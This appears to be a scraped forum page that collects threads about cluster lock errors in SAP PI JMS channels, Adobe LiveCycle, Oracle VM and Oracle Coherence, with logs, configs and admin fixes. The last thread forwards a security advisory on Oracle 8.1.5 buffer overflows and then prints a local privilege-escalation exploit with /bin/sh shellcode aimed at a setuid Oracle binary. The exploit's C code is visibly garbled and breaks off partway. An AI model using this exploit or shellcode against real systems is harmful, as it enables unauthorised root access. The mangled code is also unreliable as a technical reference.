EOIO Cluster Lock

Hi,
How do I unlock the EOIO Clucter Lock?
In de communication channel monitoring I see the JMS queue inactive with the following message:
EOIO cluster lock '$com.sap.aii.adapter.jms.eoio' already set for EOIO channel by another cluster node; channel is therefore inactive. Message reported by underlying lock manager: Cannot lock [2010071514571456300000lsarxxx....................xxxxxx, $com.sap.aii.adapter.jms.eoio, 42e79039bc73305cabfb7fb251026570, X]; it is in use by another owner. The lock collision occurred with user .
Thank you in advance.
Best regards,
Dharmi

http://sapxitutorials.blogspot.com/2009_06_01_archive.html
helped
Hereby the Solution:
1. If you sotp the communication channels, then the locks are not availabe in Visual administration.
2. Open Visual Administrator.
3. Route to correspondig server.
4. Expand services and go to Locking adapter.
5. In the locking adapter service go to Display locks tab and click on refesh button then you will able to see the list of all the available locks.
6. Select the existing (hanging) enqueue lock with FILE Argument from the list.
7. Click on "Delete Selected Locks" button.

Similar Messages

EOIO cluster lock in JMS sender channel

Hi All,
Our production environment is using cluster.
I have 2 sender JMS channel where EOIO feature has been used.
Today while monitoring we found one of the cluster node is showing below error
EOIO cluster lock:com.sap.aii.adapter.jms.eoio has already been acquired for EOIO channel by another cluster node. Therefore channel has been made inactive. Underlying lock manager reported message(if any) as: Cannot lock [20u2026u2026u2026u2026ip address, com.sap.aii.adapter.jms.eoio,c8u2026(channel ID),E]; it is in use by another owner. The lock collision occurred with user.
We have asked basis to remove the lock and they said that can be removed in NWA system lock.
But before removing the lock I wanted to understand the following
1)Why this lock happened, since it is EOIO? ( this issue is not there in other EO communication channels)
2)Is there any side effect if we delete the lock?
Appreciate your fast response .

Hi Michal,
The warning of EOIO cluster lock is still there.
we have 2 clusters, c1 and c2.
in NWA i can see the lock name *($com.sap.aii.adapter.jms.eoio)* is locked by c1 (2 locks (i.e.2 lock argumnets)) and c2 (1 lock).
i can understand that , to ensure the EOIO message proccessing the AF locks the queue , but it should theoritically unlock once the message processing completes.But this is not happening in my case.
Should i try removing one lock? or this is bug.

Adobe Cluster Locking issues

We have two nodes in the cluster. Adobe is installed on just one node. Locator is running on one node. Experiencing locking issues for temporary diskstore. Below is the error description.
[12/10/14 13:13:44:925 EST] 00000013 webapp
I com.ibm.ws.webcontainer.webapp.WebGroupImpl WebGroup SRVE0169I: Loading Web Module: dsc.war.
[12/10/14 13:13:44:935 EST] 00000013 WASSessionCor I SessionContextRegistry getSessionContext SESN0176I: Will create a new session context for application key default_host/dsc
[12/10/14 13:13:44:963 EST] 00000013 ServletWrappe I com.ibm.ws.webcontainer.servlet.ServletWrapper init SRVE0242I: [LiveCycleES4] [/dsc] [UploadServlet]: Initialization successful.
[12/10/14 13:13:44:970 EST] 00000013 ArchiveFileMa A   ArchiveFileManagerImpl:getLocalCacheRootDir():Adobe tmp directory is:/data/exigen_test/PT/jvm/tmp/adobews__-581654660
[12/10/14 13:14:17:041 EST] 00000013 LocalExceptio E   CNTR0020E: EJB threw an unexpected (non-declared) exception during invocation of method "getDomain" on bean "BeanId(LiveCycleES4#adobe-pof.jar#adobe_POFDataDictionaryLocalEJB, null)". Exception data: com.gemstone.gemfire.cache.DiskAccessException: For DiskStore: ReplicatedGuaranteed_POF_DD_CACHE: Could not lock "/data/exigen_test/PT/jvm/tmp/adobews__-581654660/Caching/Data/ReplicatedGuaranteed_POF_D D_CACHE/DRLK_IFReplicatedGuaranteed_POF_DD_CACHE.lk". Other JVMs might have created diskstore with same name using the same directory., caused by java.io.IOException: No locks available
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.createLockFile(DiskStoreImpl.java:1800)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.loadFiles(DiskStoreImpl.java:1920)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:355)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:270)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:265)
at com.gemstone.gemfire.internal.cache.DiskStoreFactoryImpl.create(DiskStoreFactoryImpl.java :127)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.createSubRegion(GemfireCacheAdapter .java:1043)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.init(GemfireCacheAdapter.java:234)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.<init>(GemfireCacheAdapter.java:215 )
at com.adobe.livecycle.cache.adapter.CacheAdapterFactory.getCache(CacheAdapterFactory.java:1 03)
at com.adobe.pof.POFUtil.getPOFDataDictionaryCache(POFUtil.java:525)
at com.adobe.pof.adapter.AbstractAdapterContext.getDataDictionaryCache(AbstractAdapterContex t.java:89)
at com.adobe.pof.adapter.AbstractAdapterContext.getDomainFromCache(AbstractAdapterContext.ja va:127)
at com.adobe.pof.adapter.JDBCAdapter.getDomain(JDBCAdapter.java:4436)
at com.adobe.pof.schema.POFDataDictionaryImpl.getDomain(POFDataDictionaryImpl.java:113)
at com.adobe.pof.schema.POFDataDictionaryRemoteBean.getDomain(POFDataDictionaryRemoteBean.ja va:148)
at com.adobe.pof.schema.EJSLocalStatelessadobe_POFDataDictionaryLocalEJB_4137caa5.getDomain( Unknown Source)
at com.adobe.pof.schema.POFDataDictionaryLocalEJBAdapter.getDomain(POFDataDictionaryLocalEJB Adapter.java:69)
at com.adobe.pof.odapi.POFSchemaManagerRemoteBean.getDomain(POFSchemaManagerRemoteBean.java: 577)
at com.adobe.pof.odapi.EJSLocalStatelessadobe_POFSchemaManagerLocalEJB_626825cc.getDomain(Un known Source)
at com.adobe.pof.odapi.POFSchemaManagerLocalEJBAdapter.getDomain(POFSchemaManagerLocalEJBAda pter.java:169)
at com.adobe.idp.dsc.startup.DSCStartupServlet$1.doInTransaction(DSCStartupServlet.java:137)
at com.adobe.idp.dsc.transaction.impl.ejb.adapter.EjbTransactionBMTAdapterBean.doRequiresNew (EjbTransactionBMTAdapterBean.java:218)
at com.adobe.idp.dsc.transaction.impl.ejb.adapter.EJSLocalStatelessEjbTransactionBMTAdapter_ 3af08fdf.doRequiresNew(Unknown Source)
at com.adobe.idp.dsc.transaction.impl.ejb.EjbTransactionProvider.execute(EjbTransactionProvi der.java:133)
at com.adobe.idp.dsc.transaction.impl.DefaultTransactionTemplate.execute(DefaultTransactionT emplate.java:79)
at com.adobe.idp.dsc.startup.DSCStartupServlet.init(DSCStartupServlet.java:132)
at javax.servlet.GenericServlet.init(GenericServlet.java:161)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.init(ServletWrapper.java:342)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.init(ServletWrapperImpl.java:168)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.loadOnStartupCheck(ServletWrapper.java:136 6)
at com.ibm.ws.webcontainer.webapp.WebApp.doLoadOnStartupActions(WebApp.java:618)
at com.ibm.ws.webcontainer.webapp.WebApp.commonInitializationFinally(WebApp.java:587)
at com.ibm.ws.webcontainer.webapp.WebAppImpl.initialize(WebAppImpl.java:421)
at com.ibm.ws.webcontainer.webapp.WebGroupImpl.addWebApplication(WebGroupImpl.java:88)
at com.ibm.ws.webcontainer.VirtualHostImpl.addWebApplication(VirtualHostImpl.java:169)
at com.ibm.ws.webcontainer.WSWebContainer.addWebApp(WSWebContainer.java:749)
at com.ibm.ws.webcontainer.WSWebContainer.addWebApplication(WSWebContainer.java:634)
at com.ibm.ws.webcontainer.component.WebContainerImpl.install(WebContainerImpl.java:422)
at com.ibm.ws.webcontainer.component.WebContainerImpl.start(WebContainerImpl.java:714)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.start(ApplicationMgrImpl.java:1165)
at com.ibm.ws.runtime.component.DeployedApplicationImpl.fireDeployedObjectStart(DeployedAppl icationImpl.java:1369)
at com.ibm.ws.runtime.component.DeployedModuleImpl.start(DeployedModuleImpl.java:639)
at com.ibm.ws.runtime.component.DeployedApplicationImpl.start(DeployedApplicationImpl.java:9 67)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.startApplication(ApplicationMgrImpl.java: 771)
at com.ibm.ws.runtime.component.ApplicationMgrImpl$5.run(ApplicationMgrImpl.java:2169)
at com.ibm.ws.security.auth.ContextManagerImpl.runAs(ContextManagerImpl.java:5468)
at com.ibm.ws.security.auth.ContextManagerImpl.runAsSystem(ContextManagerImpl.java:5594)
at com.ibm.ws.security.core.SecurityContext.runAsSystem(SecurityContext.java:255)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.start(ApplicationMgrImpl.java:2174)
at com.ibm.ws.runtime.component.CompositionUnitMgrImpl.start(CompositionUnitMgrImpl.java:389 )
at com.ibm.ws.runtime.component.CompositionUnitImpl.start(CompositionUnitImpl.java:123)
at com.ibm.wsspi.runtime.component.WsComponentImpl$_AsynchInitializer.run(WsComponentImpl.ja va:496)
        at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1702)
Caused by: java.io.IOException: No locks available
        at sun.nio.ch.FileChannelImpl.tryLock(FileChannelImpl.java:924)
        at java.nio.channels.FileChannel.tryLock(FileChannel.java:973)
        at com.gemstone.gemfire.internal.cache.DiskStoreImpl.createLockFile(DiskStoreImpl.java:1781)
        ... 56 more
Any immediate help would be appreciated to resolve the issue. Thank you.

Similar issue : https://forums.adobe.com/message/6156015#6156015
Check the configuration of temp as well as GDS directories for the cluster : http://www.avoka.com/blog/2008/06/livecycle-directories-global-storagetemp-clustering-and- more/
-Wasil

Server Pool shows locked how to fix?

Hello all,
Okay, have been rebuilding my server pool in regards to adding the servers back. I was having issues with vlan traffic not being based on my 10gb bonded ports. I could migrate a perfectly working vm to the VM server and have the access fail so I had them reinitialized. Two of them also needed to be rebuilt. Having said that:
1.) When I discovered these servers and then tried to add them to the pool, it seemed to take a much longer time than normal. Trying to abort the job gave me an error that the "Add Server" was locked. I was finally able to delete the server only by restarting the Oracle VM Manager server.
2.) I am getting a locked icon for my pool, see picture.
How do I:
1.) Unlock the server pool via the OVMM CLI?
2.) What could cause the extremely long time to just try to add a server to the pool?
Help!
Cheers,
James

Cheers Budy!
Always a pleasure getting your responses!
Okay, here is what I got when I I tried to transfer the server master:
OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip, Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured. [Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
Trying the restart of the ovs-agent:
Gave up
Here are the relevant log section:
####<2015-01-26T15:17:38.575-0500> <Error> <com.oracle.ovm.mgr.api.job.Job> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <Thread-1188-Set Server: lmvf-sde-ovs-05 on Server Pool: lmvf-sde-OVM-pool-1> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000ff8> <1422303458575> <BEA-000000> <Job[Set Server: lmvf-sde-ovs-05 on Server Pool: lmvf-sde-OVM-pool-1] Internal (operation) Error due to : OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
com.oracle.ovm.mgr.api.exception.FailedOperationException: OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
        at com.oracle.ovm.mgr.action.ActionEngine.sendCommandToServer(ActionEngine.java:502)
        at com.oracle.ovm.mgr.action.ActionEngine.sendServerCommand(ActionEngine.java:420)
        at com.oracle.ovm.mgr.action.ActionEngine.sendServerCommand(ActionEngine.java:384)
        at com.oracle.ovm.mgr.action.ServerPoolAction.deconfigureVirtualIP(ServerPoolAction.java:166)
        at com.oracle.ovm.mgr.op.virtual.ServerPoolVirtualIPDeconfigure.deconfigureVirtualIP(ServerPoolVirtualIPDeconfigure.java:147)
        at com.oracle.ovm.mgr.op.virtual.ServerPoolVirtualIPDeconfigure.action(ServerPoolVirtualIPDeconfigure.java:50)
        at com.oracle.ovm.mgr.api.collectable.ManagedObjectDbImpl.executeCurrentJobOperationAction(ManagedObjectDbImpl.java:1187)
        at sun.reflect.GeneratedMethodAccessor1138.invoke(Unknown Source)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:378)
        at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:355)
        at com.oracle.odof.core.storage.Transaction.invokeMethod(Transaction.java:902)
        at com.oracle.odof.core.Exchange.invokeMethod(Exchange.java:244)
        at com.oracle.ovm.mgr.api.virtual.ServerPoolProxy.executeCurrentJobOperationAction(Unknown Source)
        at com.oracle.ovm.mgr.api.job.JobEngine.operationActioner(JobEngine.java:240)
        at com.oracle.ovm.mgr.api.job.JobEngine.objectActioner(JobEngine.java:332)
        at com.oracle.ovm.mgr.api.job.InternalJobDbImpl.objectCommitter(InternalJobDbImpl.java:1502)
        at sun.reflect.GeneratedMethodAccessor1137.invoke(Unknown Source)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:378)
        at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:355)
        at com.oracle.odof.core.BasicWork.invokeMethod(BasicWork.java:111)
        at com.oracle.odof.command.InvokeMethodCommand.process(InvokeMethodCommand.java:92)
        at com.oracle.odof.core.BasicWork.processCommand(BasicWork.java:86)
        at com.oracle.odof.core.TransactionManager.processCommand(TransactionManager.java:717)
        at com.oracle.odof.core.WorkflowManager.processCommand(WorkflowManager.java:478)
        at com.oracle.odof.core.WorkflowManager.processWork(WorkflowManager.java:536)
        at com.oracle.odof.io.AbstractClient.run(AbstractClient.java:42)
        at java.lang.Thread.run(Thread.java:745)
Caused by: com.oracle.ovm.mgr.api.exception.ServerOperationException: OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015]
        at com.oracle.ovm.mgr.action.ActionEngine.sendAction(ActionEngine.java:865)
        at com.oracle.ovm.mgr.action.ActionEngine.sendCommandToServer(ActionEngine.java:492)
        ... 30 more
>
####<2015-01-26T15:17:39.817-0500> <Error> <com.oracle.ovm.mgr.faces.util.POJOActionUtils> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <SequentialExecutor-YgEnsDdKVi3uoW0Kp51XU1b8C3g-q5VrlrsXQEm278pMfikl8CVn!611156500!1422299994123-2> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000608> <1422303459817> <BEA-000000> <Error modifying object of class com.oracle.ovm.appfw.generatedpojos.ServerPoolPOJO@ebd13b8c with the error: Error setting the master server: Job failed on Core: OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]>
####<2015-01-26T15:17:40.751-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303460751> <BEA-310002> <46% of the total memory in the server is free.>
####<2015-01-26T15:17:43.168-0500> <Warning> <oracle.adf.view.rich.render.RichRenderer> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000010e8> <1422303463168> <ATTEMPT_SYNC_UNKNOWN_KEY> <Attempt to synchronized unknown key: viewportSize.>
####<2015-01-26T15:17:45.042-0500> <Warning> <oracle.adf.view.rich.render.RichRenderer> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000010fd> <1422303465042> <ATTEMPT_SYNC_UNKNOWN_KEY> <Attempt to synchronized unknown key: viewportSize.>
####<2015-01-26T15:18:42.001-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303522001> <BEA-310002> <79% of the total memory in the server is free.>
####<2015-01-26T15:19:42.001-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303582001> <BEA-310002> <63% of the total memory in the server is free.>
####<2015-01-26T15:20:43.409-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303643409> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:20:43.420-0500> <Info> <Common> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <Thread-37> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000003> <1422303643420> <BEA-000628> <Created "1" resources for pool "ovm-appfw-ds", out of which "1" are available and "0" are unavailable.>
####<2015-01-26T15:21:43.410-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303703410> <BEA-310002> <67% of the total memory in the server is free.>
####<2015-01-26T15:22:44.533-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303764533> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:23:44.533-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303824533> <BEA-310002> <66% of the total memory in the server is free.>
####<2015-01-26T15:24:45.911-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303885911> <BEA-310002> <80% of the total memory in the server is free.>
####<2015-01-26T15:25:45.911-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303945911> <BEA-310002> <66% of the total memory in the server is free.>
####<2015-01-26T15:26:34.654-0500> <Info> <JDBC> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000012d4> <1422303994654> <BEA-001128> <Connection for pool "ovm-jpa-ds" has been closed.>
####<2015-01-26T15:26:34.802-0500> <Info> <JDBC> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000012d5> <1422303994802> <BEA-001128> <Connection for pool "ovm-qrtz-ds" has been closed.>
####<2015-01-26T15:26:47.054-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304007054> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:26:47.070-0500> <Info> <Common> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <QuartzScheduler_TestScheduler-lmvf-sde-ovm1.lmvfsde.local1422299886699_MisfireHandler> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000003> <1422304007070> <BEA-000628> <Created "1" resources for pool "ovm-qrtz-ds", out of which "1" are available and "0" are unavailable.>
####<2015-01-26T15:27:47.055-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304067055> <BEA-310002> <67% of the total memory in the server is free.>
####<2015-01-26T15:28:48.154-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304128154> <BEA-310002> <80% of the total memory in the server is free.>
[root@lmvf-sde-ovm1 logs]#
Cheers
James

Lock Client-Side TCP-Extends

Hi,
I am running 2 processes on the same server both connecting to one cluster node.
I need to ensure only one process performs a write operation @ a certain time (i.e. the first one to attain the lock).
I am finding that both the processes are getting the lock, and cannot work-out why...
We are using tcp-extends, and I am using the following related cluster configuration:
<caching-scheme-mapping>
<cache-mapping>
<cache-name>cache.cluster.*</cache-name>
<scheme-name>scheme.cluster.system</scheme-name>
</cache-mapping>
</caching-scheme-mapping>
<caching-schemes>
<proxy-scheme>
<scheme-name>scheme.cluster.proxy</scheme-name>
<service-name>service.cluster.proxy</service-name>
<thread-count>4</thread-count>
<acceptor-config>
<tcp-acceptor>
<local-address>
<address system-property="datacloud.node.tcp-extend.bind-address">localhost</address>
<port system-property="datacloud.node.tcp-extend.port">11200</port>
</local-address>
<keep-alive-enabled>true</keep-alive-enabled>
</tcp-acceptor>
</acceptor-config>
<proxy-config>
<cache-service-proxy>
<lock-enabled>true</lock-enabled>

</cache-service-proxy>
</proxy-config>
<autostart>true</autostart>
</proxy-scheme>
<replicated-scheme>
<scheme-name>scheme.cluster.system</scheme-name>
<service-name>ReplicatedCache</service-name>
<lease-granularity>member</lease-granularity>
<member-listener>
<class-name>datacloud.cluster.listeners.ClusterMemberListener</class-name>
</member-listener>
<backing-map-scheme>
<local-scheme />
</backing-map-scheme>
<autostart>true</autostart>
</replicated-scheme>
</caching-schemes>
The client copies this scheme by using the following:
          <cache-mapping>
               <cache-name>cache.cluster.lock</cache-name>
               <scheme-name>scheme.remote</scheme-name>
          </cache-mapping>
The lock essentially does:
NamedCache cache = CacheFactory.getCache("cache.cluster.lock")
boolean isLockAcquired = cache.lock("KEY", 5000)
try {
if(isLockAcquired) {
(takes 2 seconds to complete)
} finally {
cache.unlock("KEY")
Why can 2 processes acquire the same lock when asked to acquire it @ the same time?
Edited by: 907011 on 10-Jan-2012 03:33

Hi,
This is my explination of why you are seeing the behaviour you are - I think it is correct but I am sure someone will jump in if not.
1. Your cache config has <lease-granularity>member</lease-granularity> which means that a lock taken out by any thread on a member can be released by the same member. It also means that a Member owns the lock so if I do cache.lock() for a key from some code running on a Member and then do cache.lock() again for the same key on the same Member they will both succeed as the Member owns the lock.
2. Now, when your first process calls <tt>boolean isLockAcquired = cache.lock("KEY", 5000)</tt> it gets the lock but it is not your client process that owns the lock, it is the Extend Proxy your client is connected to that owns it.
3. Consequently when process two, connected to the same Extend proxy, asks for the lock, it gets it too, as it is not your client process that owns the lock, it is the Extend Proxy your client is connected to that owns it.
4. Worse, when process one finishes and releases the lock, then it is released, even though your code in process two still thinks it is running inside the lock.
As I said, that is my understanding of it and why locks do not really work from Extend Clients. In fact there are very few occasions where I would bother to use explicit locks in Coherence (hence my unfamiliarity about the exact workings) as there are usually other, more reliable, ways to achieve the same requirements.
JK

Oracle VM aquire lock issues

I have been trying to manage an Oracle VM environment (1 Master server, 3 VM servers) for several months. THe main issue we have is that every so often when we have to reboot a VM guest either when the guest is going down or coming up we will see the following error in the master server /var/log/ovs-agent/ovs_root.log file:
"2011-06-08 22:28:44" ERROR=> OVSPolicyServer.execute_policy(): error. => errcode=00001, errmsg=CDS accquire lock /etc/ovs-agent/db/cluster.lock timeout. locker process is 14070
StackTrace:
File "/opt/ovs-agent-2.3/OVSPolicyServer.py", line 38, in execute_policy
pool_ha_enable = db_load("cluster", "pool_ha_enable", get=True)
File "/opt/ovs-agent-2.3/OVSCDS.py", line 159, in db_load
cds = CDS(db_name)
File "/opt/ovs-agent-2.3/OVSCDS.py", line 119, in __init__
raise CDSLockTimeout(ERR_CDS_LOCK_TIMOUT, {
The only way to get the VM guest to come back online is to shutdown all other VM guests running on the assigned VM server, reboot the VM server, then try again.
I have tried many different avenues to get a resolution:
1. Enabled the server pool/vm servers/vmguests to have HA. This was a disaster because every time the aforementioned error occurred the Master server would be affected and bring down the entire environment.
2. Rebuilt the Oracle VM DB (remove all files in /etc/ovs-agent/db/ and restart/add servers to server pool)
3. Disable HA and rebuild DB again.
Still these errors occur and is really causing many customer issues with constant maintenance reboots. Has anyone seen this and discovered a solution?

Hi,
is your storage repository on NFS?
And do you expirence short neworkt outage on the NFS storage maybe, before this error occurs?
You can try with the following workaround:
Stop all OVS-Agents: /etc/init.d/ovs-agent stop --disable-nowayout
Delete the locks on the master: rm /OVS/.ovs-agent/db/*.lock
Start all OVS_Agents: /etc/init.d/ovs-agent start
Regards
Sebastian
Edited by: ssolbach on Jun 9, 2011 6:06 AM

Security vulnerability in Oracle 8.1.5

The following email was forwarded to me about possible security vulnerabilities.
I am looking for verification from both Oracle and the user comunity.
================================================================================
[ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
================================================================================
File : Oracle 8.1.5
SYSTEM : LINUX
Tested by RedHat Linux 6.2
INFO :
There are two security vulnerability in Oracle.
1. buffer overflow
It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
one of the environmental value of Oracle.
Oracle applications that are vulnerable to buffer overflow are as follow :
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
Thease applications allow an attacker to excute a buffer overflow exploit.
2. Log-files created
When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
following log files are created.
names
======
-rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
-rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
-rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
oracle
======
-rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
tnslsnr
=======
-rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
SOLUTION
Contact your vendor for a patch or close setuid permission.
# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
==-------------------------------------------------------------------------------==
* ** ** * [email protected] [yong-jun, kim]
* ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
******** HACKERSLAB (C) since 1999
==-------------------------------------------------------------------------------==
Oracle 8.1.5 exploit
-by loveyou
offset value : -500 ~ +500
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xde\xff\xff\xff" /* call start */
"/bin/sh";
unsigned long getesp(void)
__asm__("movl %esp,%eax");
int main(int argc, char *argv[])
char buff, ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
